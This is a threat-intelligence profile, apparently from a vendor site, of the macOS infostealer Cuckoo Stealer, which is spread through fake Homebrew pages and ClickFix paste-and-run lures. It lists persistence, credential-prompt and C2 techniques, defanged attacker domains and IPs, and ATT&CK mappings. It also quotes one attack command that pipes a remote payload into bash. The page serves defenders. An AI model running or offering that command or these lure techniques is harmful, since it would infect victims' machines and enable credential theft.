Cuckoo Stealer
Cuckoo Stealer is a macOS infostealer, and in some reporting a stealer/RAT, delivered in social-engineering campaigns that impersonate legitimate software installation workflows, particularly fake Homebrew pages and ClickFix-style lures. Reported campaigns used typosquatted Homebrew infrastructure such as homabrews[.]org and counterfeit Homebrew pages to trick users into copying and executing malicious Terminal commands. Hunt.io described a chain in which a credential-harvesting loader repeatedly prompts for the user’s password, validates it locally with dscl . -authonly, then downloads a second-stage Cuckoo Stealer binary. Researchers Alden Schmidt and Intego also documented Cuckoo Stealer pivoting to fake Homebrew pages, with operators leveraging this method in Homebrew malvertising campaigns between May 2024 and January 2025.
On execution, Cuckoo Stealer can remove macOS quarantine attributes with xattr to reduce Gatekeeper warnings, copy and rename itself as DumpMediaSpotifyMusicConverter, and establish persistence via LaunchAgents that repeatedly execute the payload. One reported persistence artifact is com.homebrew.brewupdater.plist, with the malware copying its binary to a hidden directory under ~/.local-{session_id}/ as BrewUpdater. The content also states Cuckoo Stealer has been associated with LoginHook-style persistence in macOS-focused persistence research.
Its collection behavior includes staging data from Safari, Notes, and Keychain to /var/folder, collecting Safari bookmarks, cookies, and browsing history, searching systems for installed applications, and sending host information and stolen data to command-and-control infrastructure, including captured passwords, OS build, hostname, and username. Additional reporting in the content states it targets browser credentials, session tokens, Keychain data, Apple Notes, Discord and Telegram sessions, VPN/FTP configurations, Steam data, and data from more than 20 cryptocurrency wallet applications.
For credential theft, Cuckoo Stealer can display a GUI prompt claiming that macOS needs to access System Settings in order to capture passwords. For command and control, it can use sockets and encrypted HTTPS communications; one report describes HTTPS C2 using X25519 ECDH key exchange, libcurl, and additional XOR/MD5-derived encryption. Reported RAT-style capabilities include executing shell commands with or without output, rebooting the host, self-destruct, starting or stopping exfiltration, and exfiltrating specific files.
Cuckoo Stealer also performs locale-based filtering. It checks the LANG environment variable and avoids infecting systems configured for Armenia (hy_AM), Belarus (be_BY), Kazakhstan (kk_KZ), Russia (ru_RU), and Ukraine (uk_UA), using language settings to infer victim geography. High-confidence infrastructure and delivery indicators mentioned in the content include homabrews[.]org, raw.homabrews[.]org, brewsh[.]cx, brrewsh[.]org, brewshh[.]org, and IP address 5.255.123[.]244.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
35 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 techniqueVolt Typhoon has obtained the victim's system current location.
Initial Access
2 techniquesVictims are directed to high-fidelity, deceptive web interfaces that simulate legitimate services.
Iru Threat Intelligence has seen a recent increase in attackers using spoofed Homebrew webpages to get users to download malware.
Execution
4 techniquesInitial commands leverage curl to fetch obfuscated payloads, which are piped directly into shell interpreters (bash/zsh), minimizing the disk footprint.
ClickFix variant that uses the applescript:// URL scheme to invoke the macOS Script Editor... This URL-encoded hyperlink runs a dual-track routine... while silently executing the curl command in the background to deliver an infostealer, bypassing Gatekeeper via user-coerced interaction.
before we published the post, it was updated to include a malicious, base64-encoded cURL payload... Command curl -s http://185[.]93[.]89[.]62/d/vipx69930 | nohup bash &
Attackers exploit this trust by providing malicious command strings that mimic legitimate installation procedures.
Persistence
2 techniquesLong-term access is secured via LaunchAgents and .plist files, often masquerading as legitimate system or software updaters.
Privilege Escalation
2 techniquesLong-term access is secured via LaunchAgents and .plist files, often masquerading as legitimate system or software updaters.
Stealth
5 techniquesThe content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.
Long-term access is secured via LaunchAgents and .plist files, often masquerading as legitimate system or software updaters.
The content repeatedly describes malware and threat actors decoding, decrypting, or deobfuscating payloads, strings, configuration data, commands, and C2 traffic prior to execution or use, e.g., 'APT28 macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload' and 'Action RAT can use Base64 to decode actor-controlled C2 server communications.'
Defense Impairment
1 techniqueCredential Access
6 techniquesBundlore prompts the user for their credentials. Calisto presents an input prompt asking for the user's login and password. Cuckoo Stealer has captured passwords by prompting victims with a "macOS needs to access System Settings" GUI window. Dok prompts the user for credentials. FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials. iKitten prompts the user for their credentials. Keydnap prompts the users for credentials. Proton prompts users for their credentials. RedCurl prompts the user for credentials through a Microsoft Outlook pop-up. SILENTTRINITY's credphisher.py module can prompt a current user for their credentials. XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.
Exfiltration efforts focus on high-value data, including ... messaging session tokens (Telegram/Discord)
Exfiltration efforts focus on high-value data, including browser credentials (Chromium/Firefox), macOS Keychains
Exfiltration efforts focus on high-value data, including ... macOS Keychains
Exfiltration efforts focus on high-value data, including browser credentials (Chromium/Firefox)
Subsequent stages often involve a native-looking password prompt to facilitate credential harvesting under the guise of installation continuity.
Discovery
8 techniquesThe content repeatedly describes malware and threat actors collecting usernames, identifying logged-in users, running whoami/query user/quser, checking admin status, and enumerating user sessions.
The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.
DarkGate queries system locale information during execution. Later versions of DarkGate query GetSystemDefaultLCID for locale information to determine if the malware is executing in Russian-speaking countries.
"Bazar can query the Registry for installed applications." / "BRONZE BUTLER has used tools to enumerate software installed on an infected host." / "LightSpy ... enumerate the Applications folder to collect the bundle name, bundle identifier, and version information..." / "Volt Typhoon has queried the Registry on compromised systems for information on installed software."
"Amadey does not run any tasks or install additional malware if the victim machine is based in Russia"; "DarkGate queries system locale information... determine if the malware is executing in Russian-speaking countries"; "Ragnar Locker checks... GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country"; "Saint Bot has conducted system locale checks..."
Avaddon checks for specific keyboard layouts and OS languages to avoid targeting Commonwealth of Independent States (CIS) entities... Bazar can perform a check to ensure that the operating system's keyboard and language settings are not set to Russian... Clop has checked the keyboard language using the GetKeyboardLayout() function... Ryuk has been observed to query the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language and the value InstallLanguage.
Collection
3 techniquesBundlore prompts the user for their credentials. Calisto presents an input prompt asking for the user's login and password. Cuckoo Stealer has captured passwords by prompting victims with a "macOS needs to access System Settings" GUI window. Dok prompts the user for credentials. FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials. iKitten prompts the user for their credentials. Keydnap prompts the users for credentials. Proton prompts users for their credentials. RedCurl prompts the user for credentials through a Microsoft Outlook pop-up. SILENTTRINITY's credphisher.py module can prompt a current user for their credentials. XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.
The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.
Rather than allowing users to highlight and copy the install command, the page forces them to use a single Copy button. That restriction is purposeful: it enables the attacker to inject an extra hidden command into the clipboard, outside of what is shown to the user on the webpage, which downloads a malicious payload in parallel with the Homebrew installer.
Command and Control
3 techniquesThe content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.
Initial commands leverage curl to fetch obfuscated payloads
Exfiltration
1 techniqueADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.
Other
1 techniqueIOCs tracked for this family
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
Recent activity
22 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A macOS infostealer used in ClickFix campaigns to exfiltrate sensitive user data from compromised systems.
Information stealer delivered via fake Homebrew pages that mimic the official install flow to trick users into installing malicious commands, enabling secret exfiltration and possible persistent access.
macOS infostealer/RAT delivered via typosquatted Homebrew-themed ClickFix lures; establishes LaunchAgent persistence, removes quarantine attributes, uses encrypted HTTPS C2, and steals browser credentials/session tokens, Keychain data, notes/messaging sessions, VPN/FTP configs, and data from numerous crypto wallet apps.
Second-stage macOS infostealer/RAT delivered via a ClickFix/Homebrew-typosquat paste-and-run command. Establishes LaunchAgent persistence, removes quarantine attributes, uses encrypted HTTPS C2 (X25519 ECDH-derived), supports remote command execution and file exfiltration, and steals high-value data including browser credentials/cookies, Keychain, Apple Notes, Discord/Telegram sessions, VPN/FTP configs, Steam sessions, and data from 20+ cryptocurrency wallets.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.